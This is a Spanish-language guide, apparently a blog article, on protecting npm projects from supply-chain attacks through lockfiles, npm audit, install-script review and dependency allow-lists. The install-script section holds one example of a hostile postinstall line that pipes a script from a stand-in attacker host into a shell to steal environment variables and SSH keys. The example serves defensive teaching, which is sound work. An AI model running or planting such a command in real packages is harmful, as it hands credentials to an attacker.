Seguridad de la cadena de suministro para paquetes de npm
Cómo proteger proyectos JavaScript de ataques a la cadena de suministro: auditoría, integridad de lockfiles, typosquatting y escaneo automático en CI.

Cada npm install que ejecutas es un acto de confianza. Estás descargando código escrito por desconocidos, ejecutando sus scripts de instalación e incorporando su lógica a tu aplicación. El proyecto de JavaScript promedio tiene cientos de dependencias transitivas. Si una sola de ellas se ve comprometida, tu aplicación — y tus usuarios — quedan en riesgo.
Los ataques a la cadena de suministro en npm no son teóricos. El incidente de event-stream (2018) inyectó código para robar criptomonedas en un paquete con millones de descargas semanales. El compromiso de ua-parser-js (2021) desplegó criptomineros en millones de máquinas. El sabotaje de colors y faker (2022) rompió miles de proyectos de la noche a la mañana.
Comprendiendo la superficie de ataque
La cadena de suministro de npm tiene múltiples puntos en los que un atacante puede inyectar código malicioso. Entender cada vector es el primer paso hacia la defensa.
// The layers of trust in a single npm install
interface SupplyChainAttackVectors {
// Direct dependency compromise
directDependency: {
vector: 'Maintainer account takeover';
example: 'Attacker gains npm credentials and publishes malicious version';
mitigation: 'Use lockfiles, enable 2FA, audit maintainers';
};
// Typosquatting
typosquatting: {
vector: 'Package with a similar name to a popular package';
example: '"lodahs" instead of "lodash"';
mitigation: 'Review package names carefully, use allow-lists';
};
// Dependency confusion
dependencyConfusion: {
vector: 'Public package with same name as private internal package';
example: 'npm resolves to public registry instead of private one';
mitigation: 'Use scoped packages, configure registry mappings';
};
// Install scripts
installScripts: {
vector: 'postinstall/preinstall scripts that execute arbitrary code';
example: 'Script runs on install, exfiltrates env variables';
mitigation: 'Use --ignore-scripts, audit scripts before installing';
};
// Transitive dependencies
transitive: {
vector: 'Vulnerability in a dependency of a dependency';
example: 'Your dep uses a compromised sub-dep you never chose';
mitigation: 'Deep auditing, lockfile pinning, review transitive tree';
};
}Integridad del lockfile
El lockfile (package-lock.json o yarn.lock) fija versiones exactas y hashes de integridad para cada dependencia. Sin él, npm install resuelve a la versión que coincida con el rango semver en el momento de la instalación, lo cual puede incluir una versión comprometida recién publicada.
// package-lock.json entry with integrity hash
{
"node_modules/lodash": {
"version": "4.17.21",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
}
}# ❌ Installing without lockfile verification
npm install # Resolves latest matching versions
# Could pull a newly-published malicious version
# ✅ Installing with lockfile enforcement
npm ci # Uses exact versions from lockfile
# Fails if lockfile doesn't match package.json
# Verifies integrity hashes// CI pipeline: always use npm ci, never npm install
// .github/workflows/ci.yml equivalent in code
const ciInstallStep = {
name: 'Install dependencies',
run: 'npm ci', // Strict lockfile-based install
// NOT 'npm install' — that can modify the lockfile
};
// Additional lockfile checks
const lockfileAudit = {
name: 'Verify lockfile integrity',
steps: [
'npm ci', // Fails on mismatch
'git diff --exit-code package-lock.json', // Ensure no modifications
],
};Análisis automatizado de vulnerabilidades
npm audit verifica los paquetes instalados contra la base de datos de avisos de npm. Integrarlo en la CI permite detectar vulnerabilidades conocidas antes de que lleguen a producción.
// Script to run npm audit and parse results programmatically
import { execSync } from 'child_process';
interface AuditResult {
vulnerabilities: Record<string, {
severity: 'info' | 'low' | 'moderate' | 'high' | 'critical';
via: string[];
fixAvailable: boolean;
}>;
metadata: {
vulnerabilities: {
info: number;
low: number;
moderate: number;
high: number;
critical: number;
total: number;
};
};
}
function runSecurityAudit(): AuditResult {
try {
const output = execSync('npm audit --json', {
encoding: 'utf-8',
});
return JSON.parse(output);
} catch (error: unknown) {
// npm audit exits with non-zero when vulnerabilities are found
const execError = error as { stdout: string };
return JSON.parse(execError.stdout);
}
}
function enforceSecurityPolicy(audit: AuditResult): void {
const { critical, high } = audit.metadata.vulnerabilities;
// Block deployment on critical or high vulnerabilities
if (critical > 0) {
throw new Error(
`BLOCKED: ${critical} critical vulnerabilities found. Run 'npm audit fix' or review advisories.`
);
}
if (high > 0) {
console.warn(
`WARNING: ${high} high-severity vulnerabilities found. Review before deploying.`
);
}
console.log('Security audit passed');
}
const audit = runSecurityAudit();
enforceSecurityPolicy(audit);Revisión de scripts de instalación
Los hooks postinstall y preinstall son la superficie de ataque más peligrosa en npm. Ejecutan código arbitrario durante la instalación, incluso antes de que tu aplicación se ejecute.
// ❌ Blindly trusting install scripts
// Someone runs: npm install some-package
// That package's postinstall script:
// curl attacker.com/steal.sh | sh
// Now the attacker has your environment variables, ssh keys, etc.
// ✅ Audit install scripts before installing new packages
// Step 1: Check what scripts a package runs
// npm pack some-package && tar -xzf some-package-*.tgz
// cat package/package.json | jq '.scripts'
// Step 2: Install with scripts disabled for untrusted packages
// npm install --ignore-scripts some-package
// Step 3: If the package needs install scripts, review them first
// npm explore some-package -- cat postinstall.sh// Automated install script detection in CI
import { readFileSync, readdirSync } from 'fs';
import { join } from 'path';
interface PackageScripts {
packageName: string;
preinstall?: string;
install?: string;
postinstall?: string;
prepare?: string;
}
function findPackagesWithInstallScripts(
nodeModulesPath: string
): PackageScripts[] {
const results: PackageScripts[] = [];
const dirs = readdirSync(nodeModulesPath, { withFileTypes: true });
for (const dir of dirs) {
if (!dir.isDirectory() || dir.name.startsWith('.')) continue;
const pkgPath = join(nodeModulesPath, dir.name, 'package.json');
try {
const pkg = JSON.parse(readFileSync(pkgPath, 'utf-8'));
const scripts = pkg.scripts ?? {};
if (scripts.preinstall || scripts.install || scripts.postinstall) {
results.push({
packageName: pkg.name,
preinstall: scripts.preinstall,
install: scripts.install,
postinstall: scripts.postinstall,
prepare: scripts.prepare,
});
}
} catch {
// Skip unreadable packages
}
}
return results;
}
// Log all packages with install scripts for review
const risky = findPackagesWithInstallScripts('./node_modules');
console.log(`Found ${risky.length} packages with install scripts:`);
for (const pkg of risky) {
console.log(` ${pkg.packageName}:`);
if (pkg.preinstall) console.log(` preinstall: ${pkg.preinstall}`);
if (pkg.postinstall) console.log(` postinstall: ${pkg.postinstall}`);
}Listas de dependencias permitidas y gobernanza
En aplicaciones de producción, conviene mantener una lista explícita de dependencias aprobadas. Los paquetes nuevos deben pasar por un proceso de revisión antes de añadirse.
// .allowed-dependencies.json — checked in CI
interface DependencyPolicy {
// Only these packages are allowed as direct dependencies
allowedDirect: Record<string, {
maxVersion: string;
reason: string;
approvedBy: string;
approvedDate: string;
}>;
// Packages that are explicitly banned
banned: Record<string, {
reason: string;
alternative: string;
}>;
}
const policy: DependencyPolicy = {
allowedDirect: {
'express': {
maxVersion: '4.x',
reason: 'HTTP server framework',
approvedBy: 'security-team',
approvedDate: '2022-01-15',
},
'zod': {
maxVersion: '3.x',
reason: 'Runtime schema validation',
approvedBy: 'security-team',
approvedDate: '2022-02-01',
},
},
banned: {
'request': {
reason: 'Deprecated, known vulnerabilities',
alternative: 'Use node-fetch or undici',
},
},
};Conclusiones clave
- Usa
npm cien CI, nuncanpm install— la instalación basada en lockfile evita la deriva de versiones y verifica los hashes de integridad - Ejecuta
npm auditen cada build — bloquea los despliegues ante vulnerabilidades críticas y revisa las de severidad alta - Audita los scripts de instalación — usa
--ignore-scriptspara paquetes no confiables y revisa qué scripts se ejecutan durante la instalación - Vigila el typosquatting — verifica los nombres de los paquetes con cuidado, sobre todo en paquetes populares con errores ortográficos comunes
- Mantén una gobernanza de dependencias — las listas permitidas y los procesos de revisión detectan incorporaciones riesgosas antes de que entren en el código base
- Fija las dependencias transitivas — los lockfiles protegen frente a sub-dependencias comprometidas que nunca elegiste explícitamente


